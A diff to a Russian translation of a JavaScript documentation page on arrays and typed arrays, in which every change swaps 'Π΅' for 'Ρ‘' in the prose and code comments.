-<p>На ΡƒΡ€ΠΎΠ²Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, массивы Π² JavaScript хранят свои элСмСнты как стандартныС свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ индСкс Π² качСствС имСни свойства. Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ свойство <code>length</code> всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ индСкс послСднСго элСмСнта плюс ΠΎΠ΄ΠΈΠ½Β (Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅, элСмСнт 'Dusty' размСщаСтся ΠΏΠΎΠ΄ индСксом 30, ΠΏΠΎ этому cats.length Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 30 + 1). Особо слСдуСт Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π² JavaScript массивы ΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΡƒΡŽΡ‚ΡΡ с нуля: отсчСт вСдСтся с 0, Π° Π½Π΅ с 1. Из этого и слСдуСт, Ρ‡Ρ‚ΠΎ свойство <code><code>length</code></code> всСгда Π½Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ большС, Ρ‡Π΅ΠΌ наибольший индСкс хранящийся Π² массивС:</p>
+<p>На ΡƒΡ€ΠΎΠ²Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ, массивы Π² JavaScript хранят свои элСмСнты как стандартныС свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ индСкс Π² качСствС имСни свойства. Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ свойство <code>length</code> всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ индСкс послСднСго элСмСнта плюс ΠΎΠ΄ΠΈΠ½Β (Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅, элСмСнт 'Dusty' размСщаСтся ΠΏΠΎΠ΄ индСксом 30, ΠΏΠΎ этому cats.length Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 30 + 1). Особо слСдуСт Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π² JavaScript массивы ΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΡƒΡŽΡ‚ΡΡ с нуля: отсчёт вСдётся с 0, Π° Π½Π΅ с 1. Из этого и слСдуСт, Ρ‡Ρ‚ΠΎ свойство <code><code>length</code></code> всСгда Π½Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ большС, Ρ‡Π΅ΠΌ наибольший индСкс хранящийся Π² массивС:</p>
<pre class="brush: js">var cats = [];
cats[30] = ['Dusty'];
@@ -127,7 +127,7 @@ console.log(cats.length); // 31
console.log(cats.length); // 3
cats.length = 2;
-console.log(cats); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π² консоль "Dusty,Misty" - элСмСнт "Twiggy" Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½
+console.log(cats); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π² консоль "Dusty,Misty" - элСмСнт "Twiggy" Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½
cats.length = 0;
console.log(cats); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΡƒΡΡ‚ΡƒΡŽ строку; массив cats пуст
@@ -138,7 +138,7 @@ console.log(cats); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ [undefined, undefined, undefined]
<h3 id="ΠŸΠ΅Ρ€Π΅Π±ΠΎΡ€_содСрТимого_массивов">ΠŸΠ΅Ρ€Π΅Π±ΠΎΡ€ содСрТимого массивов</h3>
-<p>ΠžΡ‡Π΅Π½ΡŒ распространСнная Π·Π°Π΄Π°Ρ‡Π° - это ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€ всСх элСмСнтов массива и ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠ΅ΠΉ. Π’ΠΎΡ‚ Π½Π°ΠΈΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это:</p>
+<p>ΠžΡ‡Π΅Π½ΡŒ распространённая Π·Π°Π΄Π°Ρ‡Π° - это ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€ всСх элСмСнтов массива и ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠ΅ΠΉ. Π’ΠΎΡ‚ Π½Π°ΠΈΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это:</p>
<pre class="brush: js">var colors = ['red', 'green', 'blue'];
for (var i = 0; i &lt; colors.length; i++) {
@@ -146,7 +146,7 @@ for (var i = 0; i &lt; colors.length; i++) {
}
</pre>
-<p>Если Π²Π°ΠΌ Π·Π°Ρ€Π°Π½Π΅Π΅ извСстно, Ρ‡Ρ‚ΠΎ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ элСмСнт массива Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ расцСнСн ΠΊΠ°ΠΊΒ <code>false</code> ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠΈ ΠΊ booleanΒ β€”Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт массива являСтся <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> ΡƒΠ·Π»ΠΎΠΌ, Ρ‚ΠΎΠ³Π΄Π°Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π±Π»Π΅ΡΠ½ΡƒΡ‚ΡŒ Ρ‡ΡƒΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивным ΠΎΠ±ΠΎΡ€ΠΎΡ‚ΠΎΠΌ:</p>
+<p>Если Π²Π°ΠΌ Π·Π°Ρ€Π°Π½Π΅Π΅ извСстно, Ρ‡Ρ‚ΠΎ Π½ΠΈ ΠΎΠ΄ΠΈΠ½ элСмСнт массива Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ расцСнён ΠΊΠ°ΠΊΒ <code>false</code> ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠΈ ΠΊ booleanΒ β€”Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт массива являСтся <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> ΡƒΠ·Π»ΠΎΠΌ, Ρ‚ΠΎΠ³Π΄Π°Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π±Π»Π΅ΡΠ½ΡƒΡ‚ΡŒ Ρ‡ΡƒΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивным ΠΎΠ±ΠΎΡ€ΠΎΡ‚ΠΎΠΌ:</p>
<pre class="brush: js">var divs = document.getElementsByTagName('div');
for (var i = 0, div; div = divs[i]; i++) {
@@ -275,7 +275,7 @@ myArray.sort();
// массив отсортирован myArray = [ "Fire", "Rain", "Wind" ]
</pre>
-<p><code>ΠœΠ΅Ρ‚ΠΎΠ΄ sort()</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° <code>callback</code>-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая опрСдСляСт каким ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΡΡ€Π°Π²Π½ΠΈΠ²Π°Ρ‚ΡŒ элСмСнты массива ΠΏΡ€ΠΈ сортировкС. Ѐункция сравниваСт Π΄Π²Π° значСния, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (список Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ смотритС послС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°):</p>
+<p><code>ΠœΠ΅Ρ‚ΠΎΠ΄ sort()</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° <code>callback</code>-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая опрСдСляСт каким ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΡΡ€Π°Π²Π½ΠΈΠ²Π°Ρ‚ΡŒ элСмСнты массива ΠΏΡ€ΠΈ сортировкС. Ѐункция сравниваСт Π΄Π²Π° значСния, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (список Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ смотритС послС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°):</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ сортируСт массив ΠΏΠΎ послСднСму символу Π² строкС:</p>
@@ -297,16 +297,16 @@ myArray.sort(sortFn);
<pre class="brush: js">var a = ['a', 'b', 'a', 'b', 'a'];
console.log(a.indexOf('b')); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ 1
-// ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ Π΅Ρ‰Π΅ Ρ€Π°Π·, начиная с индСкса послСднСго совпадСния
+// ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ Π΅Ρ‰Ρ‘ Ρ€Π°Π·, начиная с индСкса послСднСго совпадСния
console.log(a.indexOf('b', 2)); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ 3
console.log(a.indexOf('z')); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ -1, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ 'z' Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ
</pre>
-<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} Ρ‚ΠΎΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ ΠΈΒ <code>indexOf</code>, Π½ΠΎ поиск вСдСтся Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС, с ΠΊΠΎΠ½Ρ†Π° массива.</p>
+<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} Ρ‚ΠΎΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ ΠΈΒ <code>indexOf</code>, Π½ΠΎ поиск вСдётся Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΌ порядкС, с ΠΊΠΎΠ½Ρ†Π° массива.</p>
<pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'a', 'b'];
console.log(a.lastIndexOf('b')); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ 5
-// ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ Π΅Ρ‰Π΅ Ρ€Π°Π·, начиная с индСкса, ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ индСксу послСднСго совпадСния
+// ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ Π΅Ρ‰Ρ‘ Ρ€Π°Π·, начиная с индСкса, ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ индСксу послСднСго совпадСния
console.log(a.lastIndexOf('b', 4)); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ 1
console.log(a.lastIndexOf('z')); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ -1
</pre>
@@ -343,7 +343,7 @@ var a2 = [1, '2', 3];
console.log(a2.every(isNumber)); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ false
</pre>
-<p>{{jsxref("Array.some", "some(callback[, thisObject])")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true, Ссли Π²Ρ‹Π·ΠΎΠ² <code>callback</code>-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Π΅Ρ€Π½Π΅Ρ‚ true хотя Π±Ρ‹ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта.</p>
+<p>{{jsxref("Array.some", "some(callback[, thisObject])")}} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true, Ссли Π²Ρ‹Π·ΠΎΠ² <code>callback</code>-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Π΅Ρ€Π½Ρ‘Ρ‚ true хотя Π±Ρ‹ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта.</p>
<pre class="brush: js">function isNumber(value){
return typeof value == 'number';
@@ -356,7 +356,7 @@ var a3 = ['1', '2', '3'];
console.log(a3.some(isNumber)); // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ false
</pre>
-<p>Π’Π΅ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π²Ρ‹ΡˆΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ <code>callback</code>-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, извСстны ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈΒ (<em>iterative methods)</em>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ образом проходятся ΠΏΠΎ всСм элСмСнтам массива. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π²Ρ‚ΠΎΡ€ΠΎΠΉ, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ элСмСнт, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉΒ <code>thisObject</code>. Если этот Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ присутствуСт, Ρ‚ΠΎ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ присваиваСтся ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠΌΡƒ слову <code>this</code> Π² Ρ‚Π΅Π»Π΅ <code>callback</code>-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π˜Π½Π°Ρ‡Π΅, ΠΊΠ°ΠΊ ΠΈ Π² любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ случаС Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Π½Π΅ явного контСкста, <code>this</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β ({{domxref("window")}}).</p>
+<p>Π’Π΅ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π²Ρ‹ΡˆΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ <code>callback</code>-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, извСстны ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈΒ (<em>iterative methods)</em>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ образом проходятся ΠΏΠΎ всСм элСмСнтам массива. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π²Ρ‚ΠΎΡ€ΠΎΠΉ, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ элСмСнт, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉΒ <code>thisObject</code>. Если этот Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ присутствуСт, Ρ‚ΠΎ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ присваиваСтся ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠΌΡƒ слову <code>this</code> Π² Ρ‚Π΅Π»Π΅ <code>callback</code>-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π˜Π½Π°Ρ‡Π΅, ΠΊΠ°ΠΊ ΠΈ Π² любом Π΄Ρ€ΡƒΠ³ΠΎΠΌ случаС Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Π½Π΅ явного контСкста, <code>this</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β ({{domxref("window")}}).</p>
<p>Π’ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ <code>callback</code>-функция вызываСтся с трСмя Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ - Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ элСмСнт массива, Π²Ρ‚ΠΎΡ€ΠΎΠΉ - индСкс этого элСмСнта, ΠΈ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ - ссылка Π½Π° сам массив. Однако, Π²Β JavaScript, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ Π»ΡŽΠ±Ρ‹Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ пСрСчислСны Π² спискС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ ΡΡ‚Ρ€Π°ΡˆΠ½ΠΎΠ³ΠΎΒ Π² использовании Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с ΠΎΠ΄Π½ΠΈΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊΒ <code>alert</code>.</p>
@@ -367,7 +367,7 @@ var total = a.reduce(function(first, second, index) { return first + second; },
console.log(total) // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ 60
</pre>
-<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈΒ <code>reduce()</code>, Π½ΠΎ порядок ΠΎΠ±Ρ…ΠΎΠ΄Π° вСдСтся ΠΎΡ‚ ΠΊΠΎΠ½Ρ†Π° ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ.</p>
+<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈΒ <code>reduce()</code>, Π½ΠΎ порядок ΠΎΠ±Ρ…ΠΎΠ΄Π° вСдётся ΠΎΡ‚ ΠΊΠΎΠ½Ρ†Π° ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ.</p>
<p><code>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ reduce</code> ΠΈΒ <code>reduceRight</code> ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠΌΠ΅Π½Π΅Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹ΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Array. Они Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ рСкурсивно ΡΠΎΠ²ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ Π΄Π²Π° элСмСнта массива, для свСдСния всСй ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ.</p>
@@ -375,7 +375,7 @@ console.log(total) // Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ 60
<p>ΠœΠ°ΡΡΠΈΠ²Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌΠΈ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ массив ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ массивы Π² элСмСнтах. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΡΡ‚Ρƒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ массивов JavaScript, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΠΌΠ΅Ρ€Π½Ρ‹Π΅ массивы.</p>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаСт Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Ρ‹ΠΉ массив:</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаёт Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Ρ‹ΠΉ массив:</p>
<pre class="brush: js">var a = new Array(4);
for (i = 0; i &lt; 4; i++) {
@@ -386,7 +386,7 @@ for (i = 0; i &lt; 4; i++) {
}
</pre>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаСтся массив со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ содСрТимым:</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаётся массив со ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ содСрТимым:</p>
<pre>Ряд 0: [0,0] [0,1] [0,2] [0,3]
Ряд 1: [1,0] [1,1] [1,2] [1,3]
@@ -428,11 +428,11 @@ for (i = 0; i &lt; 4; i++) {
<h3 id="ArrayBuffer">ArrayBuffer</h3>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("ArrayBuffer")}} это стандартный набор Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… с фиксированной Π΄Π»ΠΈΠ½ΠΎΠΉ. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТимым <code>ArrayBuffer</code> Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ. ВмСсто этого нСобходимо ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ прСдставлСниС {{jsxref("DataView")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π±ΡƒΡ„Π΅Ρ€ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΈ даст доступ Π½Π° запись ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Π΅Π³ΠΎ содСрТимого.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("ArrayBuffer")}} это стандартный набор Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… с фиксированной Π΄Π»ΠΈΠ½ΠΎΠΉ. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТимым <code>ArrayBuffer</code> Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ. ВмСсто этого нСобходимо ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ прСдставлСниС {{jsxref("DataView")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π±ΡƒΡ„Π΅Ρ€ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΈ даст доступ Π½Π° запись ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ Π΅Π³ΠΎ содСрТимого.</p>
<h3 id="Π’ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅_прСдставлСния">Π’ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ прСдставлСния</h3>
